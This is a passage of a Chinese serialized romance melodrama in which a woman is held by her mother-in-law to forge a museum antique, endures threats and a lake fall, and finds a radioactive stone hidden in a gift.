她以前的小工作室里有她积攒的一些稀有颜料。 当初走的时候,有几样忘记拿了。 想了想,她决定还是回去一趟。 在工作室里找到颜料盒,她装好就往外走。 刚要出门,撞上几个人。 她的工作室在比较偏的位置,很少有人经过,更别说是几个五大三粗的男人。 宁穗皱了皱眉,觉得有些不对劲,刚想关门回去。 对方却一把抓住她,捂住她的嘴,将她拖走了。 第29章 陆勋之,穗穗可能出事了 宁穗被拖上一辆面包车,刺鼻的烟油味,让她有些反胃。 对方力气很大,她浑身的骨头都快要散架了。 两人拖她上车,锁了车。 宁穗知道自己根本不可能打得过对方,赶紧镇定下来,“两位大哥,你们是不是抓错人了?” 两人对视一眼,冷哼一声,没有回答她的话。 后边不管她再说什么,两人都没理她。 直到车子开进一个私人别墅,宁穗呼吸一滞。 她被拉到客厅丢在地上,头发凌乱,衣服也有些发皱。 狼狈不堪。 而坐在沙发上的郑美婵,却高贵典雅,手里端着精致的茶杯,轻轻啜了一口,脸色很是享受。 “这几天你都没去工作室,我给你的订单,你也没做。宁穗,你是不是觉得自己傍上了周家,就可以高枕无忧了?” 这几天她联系宁穗,对方根本不接电话。 尤其是从周家宴会回来之后,宁穗太膨胀了,她必须给对方点颜色看看。 让几个打手在工作室蹲了好几天,终于找到宁穗,就把她抓了过来。 宁穗缓缓坐直身体,地板上冰凉非常,她现在骨头缝都是冷的。 她扶着沙发扶手站起身,“我已经要跟陆勋之离婚了。” 凭什么还要被她剥削。 郑美婵手一顿,不可置信地打量她,“你来真的?” 那天她说要离婚,还以为她是在说气话。 但她现在表情镇定,完全没有闹情绪的意思。 这些天,她也知道宁穗没回景园。 郑美婵微挑眉梢,还是有些不相信,轻蔑冷笑,“你真舍得?当初可是你说的,要一直当陆太太。” 宁穗坐在沙发上。 要是换在以前,她看到郑美婵,根本不敢坐。 怕惹她生气。 但是现在,她不在乎了,对方完全不把她当人,她为什么还要给对方面子。 自己怎么舒服怎么来。 “宋姜的肚子都要显怀了。我还揪着不放,难道是嫌脸丢得不够多?” 宁穗说话挺呛的,郑美婵一愣,随即捕捉到她话中的重点,“你觉得宋姜的孩子,是勋之的?” 宁穗觉得挺可笑的,都什么时候了,还装傻有意思? 她冷笑没说话。 郑美婵瞬间明白,看来陆勋之没跟她说,也对,这种秘密,陆勋之怎么可能对宁穗说。 在她眼里,陆勋之从来没有喜欢或重视过宁穗。 想到这层,郑美婵悠闲地放下茶杯,“这一单做完,我帮你跟勋之离婚。” 宁穗倏地抬眼看向她,“你会帮我?” 她是不信的,郑美婵怎么可能帮她。 郑美婵高傲地说:“你还有的选?不如跟我合作,我也乐意看到你们离婚。” 这句话从婆婆口中说出来,多少有点伤人。 但宁穗已经被陆勋之伤害得百毒不侵。 她早就对郑美婵没了期待,所以不会难过,她直接问,“什么订单?” 郑美婵会叫人来抓她,那就还会有下次。 她现在也没钱去请保镖,不如就顺着她的意思做。 郑美婵拿出一张图,丢到宁穗身上,“这个。你看下,多久能做出来。” 宁穗拿起来一看,瞳孔微缩,“我不做。” 这个图,她很熟悉,是博物馆的古董藏品,郑美婵这是要她做复制品。 犯法的。 郑美婵倒是没想到宁穗倒是有几分能耐。 竟然一眼就识破了。 不过她也不慌,“你可以考虑考虑,等你考虑清楚了再回答我。” 说完,郑美婵优雅地拿起包,直接离开。 宁穗起身想走,大门被两个壮汉拦住。 她根本走不了。 郑美婵是铁了心,要她做这个,不做就不会放她走。 宁穗的手机也被拿走,她现在跟外界完全是隔离的状态。 好在那两个人只是看守她,并没有对她怎么样。 宁穗躲进了一间空卧室,卧室里就只有些家具,一看平时就没什么人住。 刚才来的时候,她也注意到,这大概是郑美婵度假用的私宅,在郊区附近,周围几乎没什么人。 她现在连求救的机会都没有。 …… “你不能进去!” 陆勋之的办公室被人撞开。 秘书跟在一个保洁装扮的人,踉踉跄跄的,差点摔倒。 可还是没拦住,“陆总,对不起,我已经叫了保安。” 保洁一把推开秘书上前,“陆勋之,你把宁穗弄哪儿去了!你们都要离婚了,你还要她给你五百万!这点钱够你塞牙缝的吗?可是对她来说就是天价,她现在没日没夜地工作,就是为了还你钱,可你还要闹什么?把她放出来!” 唐佳笑已经三天联系不上宁穗。 电话一开始是没人接,到后来,变成了关机。 唐佳笑慌了,去报警,可是她不是直系亲属,宁穗也没有异常行为,并没有立案。 她左思右想,还是觉得陆勋之最可疑。 可惜她晃荡了半天怎么都进不来,不得已装扮成了保洁混进来,刚走到门口,就被秘书拦住。 生怕秘书和保安把她拉走,她没过脑子,一股脑就将所有的话都说了。 一旁的秘书一直垂着眸子,半弓着身子,但是话都听到了,不动声色地观察陆勋之。 陆勋之的脸色黑沉沉的,他看了好几眼才认出来是唐佳笑。 “出去。”陆勋之的声音一出,唐佳笑瞬间愣住。 她知道陆勋之不在乎宁穗,但是没想到会到这种丧心病狂的程度。 秘书赶紧上前拉扯唐佳笑,“是!” 唐佳笑刚想挣扎,陆勋之冷沉的声音传来,“我让你出去。” 秘书一顿,随即反应过来,“是、是!”她转身离开,顺手关上门。 唐佳笑也懵了,她也以为是让她出去呢。 “你刚才说宁穗不见了?什么时候的事?” 唐佳笑狐疑地打量他,“不是你抓走了宁穗?” 陆勋之唇角抿成直线,真是一个闺里长不出两种蜜。 他像是那种随便抓人的? 他跟三叔现在不对付,在一个重要项目上,三叔已经拿到最优的资源。 好在陆勋之也谈妥了一个合作,就差签合同。 这几天他忙得脚不沾地。 他懒得跟唐佳笑计较,“她失踪多久了?” 唐佳笑这下慌了,“陆勋之,穗穗可能出事了!” …… 宁穗三天都没怎么吃东西。 那两个壮汉每顿饭都拿着两样来。 一个丰盛,一个简陋的只有一个馒头。 宁穗答应做事就是吃大餐,反之就是馒头。 她已经吃了三天馒头。 可今天壮汉进来什么都没拿,宁穗正饿的肚子咕咕响,疑惑对方手中空空的时候,对方直接将她拎了起来。 像拎小鸡崽子一样。 宁穗心中警铃大作,“你们要带我去哪儿?” 第30章 宁穗妥协 宁穗被拎到车上,壮汉丢给她一套裙子。 “你现在换上。” 宁穗脸色一白,裙子是露背的。 关键是,这面包车中间又没有挡板,根本没有遮挡。 她在这换,前面的两个人肯定能看到。 她手指蜷缩,强压下心中的恶心,“你们要带我去哪儿?” 两人交换了一下眼神。 没说话。 宁穗的心往下掉,她有些怕了,“你们现在给郑美婵打电话。我要是出事,她不会放过你们。” 两人又看了对方一眼,副驾驶座上的人拿出手机,拨了电话出去,“对,她要跟您说话。” 他扫了宁穗一眼,“好,知道了。” 随即他收起了手机,宁穗一愣。 “什么意思?”宁穗有些急。 男人将手机揣进兜里,“陆夫人说了,带你过去。”他冷淡地扫她一眼,“让你换好衣服。” 宁穗浑身一僵,“我不换。” 但壮汉没再说什么。 宁穗被带到一个会所,两人进不去,到门口直接将宁穗交给了服务员。 等走进去,宁穗拉住服务员,“帮我报警,刚才那两人是绑架。” 服务员保持着职业微笑,“陆太太,您别开玩笑了,不是陆夫人让您来的吗?” 宁穗一愣,没想到对方认出自己。 现在真的说不清了,谁会相信,婆婆会绑架儿媳,还是豪门婆媳。 宁穗只能硬着头皮被带进一个包厢。 中间有个屏风,挡住了视线,宁穗只能听到那边传来的打牌声。 很快传来牌推倒的声音,郑美婵高兴地说:“胡了。” “姑姑,你手气也太好了。”一个流里流气的声音响起。 宁穗随即浑身生理性地颤抖起来。 这个声音,她一辈子都忘不掉。 是郑美婵的侄子,郑肖。 新婚夜的恐怖经历,再次冒出来。 宁穗的眼泪不可遏止地往外冒,她想逃,可是脚下像是被钉住了一样。 “姑姑,我嫂子最近在干嘛?你怎么也不带过来啊。”郑肖声音透着猥琐的笑意。 郑美婵哼了一声,“你还惦记啊?给你机会不中用。” 郑肖嘿嘿一笑,“谁知道那小娘子这么烈啊。”他摸了摸自己的下巴,“反正现在我哥都不回家的,就不如我回家去安慰安慰嫂子。” “你想啊,也不难,反正她要跟勋之离婚了。再等等,早晚是你的。”郑美婵说的好像宁穗是个货物,只要她想,就能随意送给郑肖玩弄。 宁穗心底一阵恶寒。 她心里的愤怒战胜了恐惧,轻手轻脚地想要离开,拧动门把手,却完全拧不开。 门被人从外边反锁了。 宁穗手指缓缓蜷起,找了一圈,拿起一个花瓶抱在手里,随时准备拼了。 她转身的瞬间,不小心碰掉了一个纸巾台。 啪嗒,东西掉在地毯上,发出闷响。 屏风那边郑肖好奇,“哎,谁在那边,我去看看。” 宁穗浑身肌肉紧绷得厉害,屏风上的身影逐渐走近。 她下意识地靠在墙边,花瓶举在跟前,随时准备攻击。 眼看郑肖的快要绕过屏风,郑美婵的声音传来,“行了,是我让服务员在那边候着,你赶紧过来,再来一局。” 郑肖失笑,折身回去,“姑姑,你是真想把我私房钱都赢光啊,得,我舍命陪君子。” 随即又传来了推牌的声音。 咕咚一声,宁穗的心掉回肚子里。 郑美婵叫她来这的目的很明确。 就是用郑肖来威胁她。 要是她不就范,只要郑美婵一句话,就能送她到地狱。 反正陆勋之有了宋姜,根本不会在意她的死活。 就像这几天,陆勋之甚至都不知道她失踪了。 再或者,他知道,只不过纵容郑美婵这么对她。 越想越觉得是,越是心寒。 一张屏风之隔,那边是奢靡的笑声。 这边是宁穗如坠冰窖的痛苦。 宁穗紧紧咬着牙关,但还是止不住打颤。 她只是想回归普通人的生活,为什么这么难? 就一条活路都不肯给她吗? 宁穗眼底集聚起恨意,郑美婵为什么要这么对她。 为什么…… 一个多小时后,人群才散去。 郑美婵缓步绕过屏风,看到宁穗没有换她准备的礼服,也没有意外。 宁穗只是看上去温顺,其实是个硬骨头,郑美婵这几天也有了了解。 要不是怕她饿坏了,到时候没办法做事,郑美婵都想给她断粮几天。 “你都听到了?”郑美婵毫不忌讳自己的手段,“等你和勋之离婚,你被谁睡谁玩,陆家根本不会在意。” 一身华贵的贵妇人说出这种话,宁穗只觉得讽刺。 “好,我答应给你做这款内画。不过我有个条件。”宁穗语气平静,完全没有起伏,冷静得有些不同寻常。 但郑美婵对这意料之中的回答,并没有多想。 在她看来,宁穗不过是一个蝼蚁,跟她斗,简直天方夜谭。 她根本不在意宁穗的反抗,在她看来都是小打小闹,笑话而已。 就像是在周家的晚宴上,宁穗被周夫人赏识又怎么样? 周先生最后还不是给宋姜安排了工作。 这都是看陆家的面子。 宁穗离开了陆家,什么都不是。 郑美婵好笑地说:“还轮不到你跟我谈条件。” 宁穗,“你想要好东西,都要付出成本。你给我安排的工作室,做精致上档次的作品没什么大问题。但是这件可是典藏级别。” 郑美婵顿了顿,宁穗说的也有道理。 如果能将她拉到自己工作室里,那自然也好,免得她又逃跑。 到时候,宁穗要是能做出来,将来类似的,完全可以继续让她做。 靠郑肖这个定时炸弹,她能一辈子威胁宁穗。 郑美婵不甚在意地挥挥手,“行,你想要什么,随便开。” …… 陆勋之带着人到郊区别墅的时候,已经傍晚。 循着监控,陆勋之看到宁穗被带来这里,脸色瞬间黑了。 不等唐桓找人开门,陆勋之直接踹开了大门。 别墅里空荡荡,就几个吃剩的外卖盒和矿泉水瓶。 唐佳笑疯了一样冲进去,各个房间去看。 在一个角落里的客房,她发现了什么,“在这里!” 陆勋之快步冲过去,眼底的阴鸷快要溢出来。 可看到空荡荡的房间,他的视线一怔,随即看向唐佳笑,“人呢?” 唐佳笑翻了白眼,指着墙角,“这里,有记号,是宁穗留下的。” 第31章 不过是欲擒故纵的把戏 陆勋之赶紧上前,看到墙角有被利器刮过的痕迹,像是什么记号。 但是完全看不懂。 甚至,唐佳笑如果不说,他根本都没注意到。 他疑惑地看向唐佳笑,对方耐着性子说,但语气还是很快,“以前我跟穗穗在孤儿院的时候,被其他小孩子欺负,我们就用这个对暗号。” 看着陆勋之脸色变了变,眼底从茫然到低沉。 唐佳笑长话短说,“总之,穗穗留下的记号说,有人绑架她。” 小时候,她俩懂得有限,所以暗号设计的词汇也有限。 宁穗只留下这些信息。 “陆勋之,快查查,这里是谁的别墅,还有监控。既然能找到这,那从这里出入的人,肯定也能查到。” 男人缓缓站起身,“不用查了。” 唐佳笑脸色一白,“陆勋之,你丧良心啊,真的不管宁穗了吗?你们还没离婚呢?还是你想宁穗死,给你的小三腾地方啊!” 唐佳笑越说越气,眼泪扑簌簌地往下掉,她抹了一把脸,咬着牙,“你不管拉倒,我自己会去找。” 她现在有证据了,完全可以报警。 用不着这个渣男。 唐佳笑拿出手机,刚点了两个一,手机倏地被抢走。 “你还给我!”唐佳笑想抢,唐桓直接举高手机,凭借身高优势,让唐佳笑够不到。 她气得跳脚,直接蹦起来,重重跺到唐桓脚上。 后者嗷了一声疼弯了腰。 唐佳笑趁机抢回手机,丝滑逃跑。 刚跑到门口,撞上回来的人,她猛地刹车,又惊又喜,“穗穗!” 她冲上去,抱住宁穗,又松开,上下打量,“你怎么回事啊?都快吓死我了。” 宁穗脸上没什么血色,可看到唐佳笑,她还是喜极而泣,“我这不是活得好好的。” 这个活字,让两人都红了眼。 是啊,能活着,真难。 至少对宁穗来说,很难。 陆勋之快步走出来,看到宁穗,先是微微松了一口气,随即又皱了眉,“你们在玩什么把戏?一个闹失踪,一个找人,现在这又算什么?久别重逢。” 宁穗这才看向陆勋之,对方一丝不苟的头发,有几根垂在额间,衬衫也尽是褶皱,看上去不似往常精致。 她淡漠地收回视线,根本没搭理他,而是温柔地摸摸唐佳笑的脸,“我们先回去吧。” 郑美婵答应把这里给她当工作室,然后就让人将她丢回这里。 她本来想休息一下,然后想办法联系唐佳笑,再做打算。 既然碰上,那就先回去再说。 郑美婵现在拿住宁穗的七寸,就不怕她再跑了。 宁穗不可能时时刻刻身边有人,郑美婵想,就能随时抓她。 更何况还有唐佳笑在,宁穗不能连累她。 两人互相搀扶着往外走。 完全当陆勋之是空气。 宁穗刚踏出门口,一个力道抓住她的胳膊。 抓得她骨头生疼。 陆勋之阴沉的声音砸下来,“这几天你到底在干什么?为什么关机?” 宁穗想甩开,可她这几天就吃了几个馒头,根本没什么力气。 唐佳笑冲过来,推了陆勋之一把,男人纹丝不动。 “你干什么?我让你查这是谁的别墅你不查,现在穗穗回来了,你又兴师问罪?” 宁穗拉住唐佳笑,她现在不想让唐佳笑扯进来,“笑笑,你别问了,这里是我婆婆的房子。” 唐佳笑一愣,宁穗还不知道她已经看到她留下的记号。 事实上,宁穗当时是真的没招了,才做了记号,根本没想到会被人看到。 “是你婆婆的房产?”唐佳笑不可置信地重复一遍,“怪不得刚才陆勋之不让我报警呢,原来是蛇鼠一窝。你还真是道貌岸然,竟然还在我面前演。” 假装为了宁穗着急,连她都骗了,还真是渣男中的渣男。 宁穗呼吸一滞,手指缓缓蜷缩起来。 陆勋之不让报警,是维护郑美婵吗? 她自嘲的笑笑,她是凭什么觉得陆勋之会站在自己这边? 陆勋之这一天都被唐佳笑呼来喝去。 要不是为了宁穗,他早就让她闭嘴了。 现在还在这里大放厥词,他哪里还受得了,“你再胡说,我让律师起诉你,吃了官司,你的小作坊还能挺下去?” 听到他威胁自己的朋友,宁穗用了最大的力气,甩开了陆勋之,将唐佳笑护在身后。 “陆勋之,你有什么冲我来,不要伤害笑笑。” 陆勋之简直怀疑自己的耳朵是不是坏掉了。 嗤笑一声,“我伤害她?她一直在骂我你没听见还是没看见?” 宁穗面无表情,“我就是眼盲心瞎,才会跟你结婚。” 说完,她拉着唐佳笑直接离开。 陆勋之气的抬手一拳,捶在门板上,咚的一声,十分骇人。 唐桓上前,“陆总,夫人这边要查查吗?” 毕竟刚才宁穗的样子看上去很不好。 再加上唐佳笑的话,他真的怀疑是郑美婵绑架了宁穗。 陆勋之闭了闭眼睛,压下怒气。 这些年,郑美婵到哪儿参加聚会晚宴,都会带着宁穗。 还让人精心准备了备孕调理身体的汤药给宁穗喝。 不管她多不喜欢宁穗,婆婆该做的事,她都做了。 现在她巴不得宁穗跟他离婚,怎么可能在这个时候再生枝节。 陆勋之冷声说:“不用查。” “可是太太那边……”唐桓不忍。 陆勋之冷眸睨他,他瞬间闭嘴。 他看向宁穗和唐佳笑匆匆离开的背影。 比起郑美婵绑架宁穗,他更觉得这是她俩演的一出戏,无非就是想引起他的注意。 “欲擒故纵的把戏而已,不用理。回公司。”陆勋之浑身冷涔地离开。 唐桓叹了口气,可他明明看到宁穗的脸色青灰,一看就好几天没吃好睡好。 真要是把戏,何必把自己弄成这样呢? 可陆勋之现在气头上,他什么都不敢再说。 …… “什么?郑美婵真是疯了,居然让你复刻‘云中飞燕’,那可是犯法的!”唐佳笑气得浑身发抖,“所以她就是因为这个囚禁了你三天?陆勋之知道吗?” 宁穗心已经痛到麻木,脸色平淡没有任何波澜,“笑笑,我现在谁也不相信,只信你。” 唐佳笑倏地红了眼眶。 宁穗最亲近的人,现在要治她于死地。 人的心,真的有石头做的。 她抱住宁穗,声音哽咽,“你放心,你想怎么做,我都配合你,宁穗,你要答应我,一定要好好活着!” 宁穗笑着点头,泪花在眼底转动,“好,我答应你。” 郑美婵要玩死她? 也要看她肯不肯。 第32章 陆勋之还是在意你 宁穗到王习的店里时,王习还有些惊喜。 两人这几天没联系,王习能感觉到宁穗对他的疏远。 “你怎么来了?”王习上前,赶紧吩咐人准备,“准备玫瑰奶茶,少糖。” 这是宁穗最喜欢的。 宁穗答应郑美婵做仿品,昂贵的颜料和胚子,让郑美婵去准备。 但她不是坐以待毙的性格。 更何况郑美婵欺人太甚。 既然她不怕死,那就让郑美婵去死吧,到时候郑家被连带责任,郑肖也就不足为据。 宁穗没说郑美婵的事,只跟王习说:“师兄,我想做点上档次的玩意。我记得以前师父调制过一种特殊颜料。在特殊波段之下,会发出不同的颜色,用来做标记的。你这还有吗?” 王习慢慢点头,“我记得师父说过,但是东西我这没有。配方的话,我帮你跟师娘要一要。” 他表情有些不自然,“你知道师父去世之后,他家里也不安生,这些年乱糟糟的,不知道还有没那个配方。” 宁穗点头,“找找试试吧,要是没有,我再想别的办法。” 听出她语气的不对劲,王习有些担心,“是不是遇见什么事了?” 宁穗不想拉王习进来。 他如果真是陆家的私生子,郑美婵恨他还来不及,一定会想办法欺负王习。 “没事,就是有个新想法,想试一试。”宁穗起身,“那麻烦师兄帮我问问,要是师娘同意了,我自己去取。” 说完,她点头转身想走。 王习却叫住她,“穗穗,有件事,我不知道该不该跟你说。” 宁穗疑惑转身看向他。 “那天我去拜访客户,看到了陆勋之和宋姜。是在松陵苑。” 王习犹豫了一下,似是下了很大决心,“我那个客户是个社牛,之前就跟宋姜聊过,宋姜说是她男朋友送她的房子,说是给她养胎,高位拍的,价值一个亿。” 宁穗的手指不自觉地蜷缩到手掌心,扎得手心生疼。 这些年,她给郑美婵干活根本不给她费用。 家里的奢侈品虽然不少,但几乎没给宁穗过生活费。 也是,她不出去工作,应酬的衣服首饰家里都有,吃饭更是有保姆。 根本没有花销的地方。 她手里这点钱,都是唐佳笑给她介绍的私活挣的。 前期看病也都花得差不多了。 现在给宋姜买个生孩子的房子,就能花一个亿。 想到自己还差三百多万才能凑够五百万。 宁穗觉得挺好笑的,人真的是挺欠的,为什么总去比较呢。 难道陆勋之早就不爱她,不是已经既定的事实吗? 是她自己失心疯,居然会觉得他会在日夜相对中,慢慢动心。 陆勋之的心,是石头做的。 “跟我没关系,师兄,他们的事,我也不关心。”宁穗笑着迎上王习的视线。 对方心底都是心疼,他想抬手摸摸宁穗的发顶。 就像小时候一样。 但手刚抬起来几公分,还是落了回去。 王习点点头,“穗穗,你的日子会越过越好的。” 从小到大王习都是这样,温柔又宽厚。 在她最难的时候,能听到这样一句话,哪怕是安慰的话,她也觉得心里温暖。 她现在,太需要温暖了。 宁穗眼圈红了红,她快速眨眼,深吸了一口气,声音还是抑制不住的沙哑,“谢谢你,师兄。” 下一秒,宽厚的怀抱拥上来,将她抱了满怀,却又没有使劲,只是虚虚抱着。 只是单纯的鼓励安慰。 “穗穗,你不是一个人,你还有我。我是说,你还有我和笑笑,我们都是你的后盾,不要什么事都自己一个人扛。” 宁穗慢半拍缓过来,赶紧从他的怀抱中脱离出来。 扯唇笑笑,刚想说什么,余光瞥见一个身影,两道像刀子一样的视线,狠狠地刮着她的脸。 宁穗一愣,陆勋之怎么会在这。 但她没多看,淡淡收回视线,看向王习,“谢谢师兄,我还有事,我就先回去了。” 王习点头,余光看到什么,又顺手拉住宁穗的手腕,“还是我送你吧,你这个样子,我实在不放心。正好我要去唐佳笑工作室那边看看。我现在承接了一个上面的项目,正在找合作商。” 这个项目宁穗听说过,想了想没拒绝,她也希望王习能多带带唐佳笑。 两人一前一后刚要走。 宁穗的肩膀被一个力道一拉,她撞进一个硬邦邦的怀抱。 转头便看到了陆勋之的冷脸。 “你们俩,是当我死了吗?”陆勋之冷笑,视线在两人之间打量,“还是说,你们就喜欢这种背德的关系。” 上学的时候陆勋之就特别高冷。 那时候有很多人追他,可他嘴毒,说哭过好几个女生。 后来大家就望而却步。 但是宁穗不怕,她喜欢陆勋之,是那种热烈的喜欢。 不管陆勋之对她多冷淡,她都能转天就能哄好自己。 那时候觉得陆勋之是高冷有个性。 现在真想把他毒哑。 宁穗不满地甩开他的手,但是对方力气太大,她那点小劲儿根本不够看。 “陆勋之,你又发什么疯?” 陆勋之低头看向她,嘴角的讽刺满满,故意凑到宁穗耳边低语。 暧昧到极致,“之前还假装是被绑架,现在又跑出来勾引这个私生子。宁穗,你怎么这么不安分?” 啪! 陆勋之的脸被扇得偏过去。 周遭的人都屏息低头,谁也不敢多看一眼。 趁着这个空档,宁穗转身离开。 陆勋之是带着客户来这里考察,这片商业区是陆家的,现在周边的地皮也买下来了,要继续扩建。 陆勋之舔了一下唇角,轻笑扫视所有人,“我太太最近跟我闹脾气,家事,大家见笑。” 所有人都笑笑说是,还夸陆勋之是疼太太的人。 谁也不敢出去乱说,陆勋之这是警告他们了。 但人都是八卦的动物,还是忍不住私下讨论。 “哎,刚才也没看到正脸,也不知道陆总的老婆长什么样?” “肯定大美人啊,你看那身段气质,就不一样。陆总能这么宠着的,一定是极品。” “可是我听老郑说,前阵子看到陆总在松陵苑买了一栋别墅,一个亿,说是给自己女人安胎啊。这个太太看着也不像怀孕了。” “你懂什么啊,现在小姑娘都爱美,怀孕也控制饮食健康,体重长得都不多。” “有道理。” 宁穗上车便看向窗外,不知道在想什么。 王习看了她好几眼,突然说:“穗穗,我看陆勋之,还是很在意你。不像是要离婚的。” 第33章 陆勋之,你是来送我去死的吗? 宁穗回神,像是听到什么笑话,先是低笑,后来越笑越大声,甚至笑出了眼泪。 她抬起手指,揩去眼角的湿润,“师兄,你也是男人,难道看不出来他是什么心思吗?他的东西,不允许别人染指而已。” 在乎她,怎么可能? 只不过是占有欲作祟。 这么多年,她巴心巴肺地对他好,什么事都依着他。 两人刚开荤那段时间,陆勋之食髓知味,夜夜都要。 她那时候撕裂了,都不敢拒绝他。 生怕他会因为这个不高兴。 后来要不是太严重她发烧了,陆勋之都没发现。 从那个时候开始,陆勋之就当她是个工具而已。 只是她那时候恋爱脑啊,总觉得生理性喜欢,也是喜欢。 却没想过,那可能只是单纯的欲念而已。 原始到像动物一样。 现在她突然要离婚了,对他不理不睬。 他当然不愿意。 就算是他不要的东西,也不能便宜别的男人。 更何况还是王习。 王习看着宁穗的样子,又哭又笑,心里特别不是滋味,“穗穗,你别这样。你是活生生的人,不应该被物化。” 宁穗的笑声戛然而止,她怔怔看向王习。 却失神在想,这才是正常人的思维吧。 陆勋之,根本不正常。 …… 宁穗为了让郑美婵安心,直接搬进了郑美婵的私产别墅。 这里倒是环境不错,郑美婵一向会享受。 按照她的要求,郑美婵给她整理出一个工作室。 工作室里的东西都是新的,跟之前给她准备捡漏工作室不同,要高档许多。 看得出来,郑美婵对这次的这个作品,很是重视。 宁穗也不客气,这么好的环境,她正好也腾出时间做点自己的东西。 反正郑美婵跟她说是一个月的时间做好。 宁穗收拾的时候,看到角落里的一个泥塑。 当初工作室开的时候,这个泥塑就在了,郑美婵说是给她的开业礼物。 看上去也没有多贵重,但是样子是宁穗喜欢的,她也就留下来。 没想到郑美婵还从工作室给她搬了过来。 是这个房间里,唯一的旧物。 宁穗走过去看了看,没多想,只是挪动了地方,以免它被碰到摔坏了。 宁穗忙了一上午,身子有些发僵。 裴斯年给她换了药,她现在身体没那么难受,但是很容易疲惫嗜睡,大概是药的副作用。 她站起身,打算去外边溜达一下。 她记得有一个很大的人工湖,顺着指示牌走过去,看到湖中心的荷花虽然都败了,但是荷叶还在。 大片大片的绿色,让她心里很舒坦。 可这种舒服没维持多久,一道熟悉的声音落下来,毁了宁穗的好心情。 “宁穗?你怎么在这?”宋姜不知道什么时候走到了她身后,秀眉竖起,冷笑讽刺,“你是来找勋之的?” 宋姜想到什么,抱臂轻笑,“我闹口不舒服,勋之正在帮我煮梅子汤。” 宁穗冷淡地扫她一眼,起身打算离开,跟这种人多说一句话,都晦气。 宋姜却不依不饶,“宁穗,你的脸皮真是比城墙还厚,你以为拖着不离婚,就能稳坐这个位子吗?我肚子慢慢大了,陆奶奶一只脚都踏进棺材了,你觉得谁还能保护——啊!” 宋姜被扇得往旁边趔趄了两步,撞到围栏。 围栏有一节因为修整没有围上。 宋姜差点掉下去,吓得脸都白了。 她回头看到宁穗要走,心里突然生出一个恶毒的想法。 宁穗现在重病,任何一次感冒发烧带来的并发症,都可能要了她的命。 她反手一拉,宁穗没防备,被她扯下水去。 宁穗落水的一瞬间,看到宋姜的狞笑,本能地扯住她的袖口。 宋姜脸色倏地一变,也被带了下去。 噗通! 两个人都落了水。 深秋的御城只有十几度,水里很凉。 宁穗现在身体差,根本禁不住冻。 水不深,也没有溺水的风险,但宁穗整个身体冻住了,根本动不了。 宋姜倒是手脚勤快,很快压住湖边的石头,翻身上岸。 宁穗的脚有些抽筋,她试着往岸边走,看到远处有人过来,她想求救。 可是宋姜先一步跑过去,瞬间扑进对方的怀里。 宁穗一愣,竟然是陆勋之。 陆勋之满脸的担忧,将宋姜打横抱起,快步离开,根本没看她一眼。 宁穗浑身像是卸了力。 脚下的淤泥很滑,她脚步虚浮,整个人又扑进水里。 池子里水草的腐烂味道充斥着鼻腔。 宁穗浑身僵硬,连反抗的力气都没有。 就在她快要窒息的时候,一个力道抓住她的胳膊,使劲一提,将她拉出了水面。 宁穗被拖上岸,她慢半拍地呼吸空气,大口大口,气管都火辣辣地疼。 “女士,你没事吧?要不要送你去医院?”邻居吓够呛,刚才走过来散步,看到一个人在里面扑腾。 保安也来得很快,“刚才有住户打电话,说在家里的窗户看到有人掉湖里,有一个爬上来,被带走了,另一个没爬上来。” “啊?怎么那个爬上来的不叫人啊。这还有一个人呢。我要是没看见,她不就死了?” “别瞎说了,刚才那个是陆勋之和他的女朋友,哪里顾得上这个人啊。” 宁穗缓缓恢复意识,听到他们的话,心口特别疼,大概是水压的吧。 宁穗起身,哑声说了谢谢,转身离开。 她回到别墅的时候,赶紧去泡了澡,身上的温度缓缓回升。 洗完澡穿好衣服,刚走进工作室,大门传来开锁的声音。 宁穗一愣,随手拿起旁边泥塑,就是从之前工作室送过来的那个。 听到脚步声过来,宁穗续了力,她今天真的被吓到了。 一点点威胁都能让她精神紧绷。 那个身影刚一出现在门口,宁穗大力甩出手中的泥塑。 可对方躲避及时,泥塑砸在墙上,摔成碎片。 宁穗的眼睛通红,她不明白,为什么他们要一直折磨她。 模糊的视线对上男人冷涔的目光,宁穗脸白了几分。 “宁穗!”陆勋之咬着后槽牙,似是要将她生吞活剥。 宁穗冷不丁笑了,为什么,为什么她想活着就这么难呢? 她只是想活着而已。 “陆勋之,你是来送我去死的吗?” 第34章 陆勋之说,孩子不是他的 陆勋之被突如其来的意外,也吓到了。 看到地上几乎碎成渣的泥塑,不敢想,要是砸到他头上会是什么结果。 他脸色阴沉得可怕,“你这么生龙活虎,看来没事了。” “刚才宋姜还说你也掉水里了,让我来看看你,我看你挺好的。” 宁穗觉得好笑,“她把我推下水,还装好人?她是怕你去查监控吧。” 陆勋之脚步一顿,“你说什么?她把你推下水?” 宁穗没觉得他会相信,转身要走,手腕被拉住,后背撞上宽厚的胸膛。 “你放开我!”宁穗觉得他真的无耻,“你那么在乎宋姜,就去守着她,捧着她,跑到我这来装什么好人?” 陆勋之唇角抿成直线,抬手摸她的额头。 宁穗自己都没发现,额角刚才磕到,现在有点乌青。 男人温凉的指尖碰到她的额角,微微的刺痛传来,宁穗本能地扭开脸。 “别招惹她。”陆勋之声音沉沉,没了往日的咄咄逼人,“再过六个月,一切都会好起来了。” 好起来? 宁穗觉得真是可笑,怎么可能好起来。 等到孩子生下来,就让她当个活王八吗? “陆勋之,你最好把你的宝贝疙瘩藏起来,别让她来我面前晃悠,不然,我下次直接踢她的肚子——嘶!” 男人一把捏住宁穗的两颊一挤,让她说不了话。 陆勋之一脸的不爽,“你不许碰她的孩子,听懂了吗?” 宁穗早就习惯了,可听到这句毫无边界的偏爱,还是心痛得厉害。 她猛地一把推开陆勋之,指着门口,低吼,“滚!” 陆勋之脸色瞬间沉下来,还想上前,宁穗猛地捡起一块随便,放在颈部大动脉上。 男人倏地顿住步子,“宁穗!” 宁穗死死盯着他,语气平静,却透着疯感,“你再上前,我就死在这。” 反正都不想让她活,那就死好了。 陆勋之抬手阻挡,“够了,我马上走,你放下。” 他自己都没觉察到,语气里带着淡淡的颤抖。 心底里有一丝害怕,在慢慢滋生。 这样的宁穗太陌生,他甚至不会怀疑,若是再上前,宁穗就会割下去。 他缓缓后退,走出了别墅。 宁穗脱离地跪坐在地上。 她浑身的力气,几乎被抽干。 她紧紧闭上眼睛,泪水从眼角滚落,连成了串。 许久,她手撑着地,从冰凉的地上起身,手压到一个东西,她随手拿起来看。 是一块圆润的黑色的石头,看上去很奇怪。 是从碎掉的泥塑里出来的。 宁穗看了看,突然想到什么,拍了一张照片,发给王习,【师兄,这个你看着眼熟吗?】 王习的电话下一秒就打进来,“穗穗,你怎么会有这个?这种石头不能用,有放射性,会致癌。” 